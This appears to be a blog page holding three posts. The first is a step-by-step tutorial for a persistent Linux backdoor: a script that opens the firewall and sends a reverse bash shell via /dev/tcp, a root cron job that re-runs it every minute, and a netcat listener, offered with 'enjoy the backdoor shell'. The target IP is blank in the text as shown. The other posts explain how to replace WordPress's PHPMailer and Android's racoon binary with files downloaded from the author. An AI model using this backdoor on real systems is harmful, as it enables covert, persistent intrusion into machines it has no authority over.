Tiny Unix/Linux Backdoor


The tiny backdoor base in bash and cron, less than 10 line source code can get the bash shell remotely. Use in Unix/Linux system.

Step 1: Create a sh script file

We need to create a sh script file in any location and type the code, now we stored it in /usr/backdoor:

nano /usr/backdoor

if netstat -ano | grep -v grep | grep "" > /dev/null
    echo "OK" > /dev/null
    /sbin/iptables --policy INPUT ACCEPT
    /sbin/iptables --policy OUTPUT ACCEPT
    bash -i >& /dev/tcp/ 0>&1

chmod +x /usr/backdoor


This code is to send the shell to the server which IP is and port is 53, and will check the connection automatically, if the server connected to the server yet, will no make a new connection.

Step 2: Create a cron scheduler

We create a scheduler let this script run automatic, so we can get the shell by waiting the task finished.

nano /etc/cron.d/backdoor //Create scheduler in /etc/crontab will be better.

*/1 * * * * root /usr/backdoor       //Make a connection per minutes.

service cron reload //Maybe different way to reload the cron.

Step 3: Receive the shell in your remote server

Using netcat to receive the shell from client.

nc -vv -lp 53


And just wait a minutes, enjoy the backdoor shell.


[Bugs] Fix the SMTP connect server fail of WordPress 3.9

WordPress was update to 3.9 version last week. But I found the SMTP could not work in this WordPress version.

I used the SMTP to sent the E-Mail to notice my reader. And I can recieved the pushmail at the same time. So I could reply the comment in time. This bug cause a lot of trouble for me.

So I viewed the source codes of WordPress 3.9. The WordPress 3.9 used the newer PHPMailer module. As a result, the SMTP colud not connect.

So, We can replace the PHPMailer to the old version to slove this problem. Just download the file which I supported, and unpack it to replace the file in /wp-includes. After it, try to sent the test E-Mail.

Enjoy WordPress and have a nice day .

The old version of PHPMailer:

fix-20140422(My website server): Download

[Bugs] The L2TP VPN connect time out on Android 4.0.4

I'm the L2TP VPN Server user. After I updated my phone to Android 4.0.4. The L2TP VPN was out of work. I found the racoon module has some trouble. So I built up a new one base on Android Source Code. We can replace this module to /system/bin, and set permission -rwx-r-x-r-x like this picture. Reboot your phone and enjoy it.

Download From My Server: Download

Download From Dropbox: Download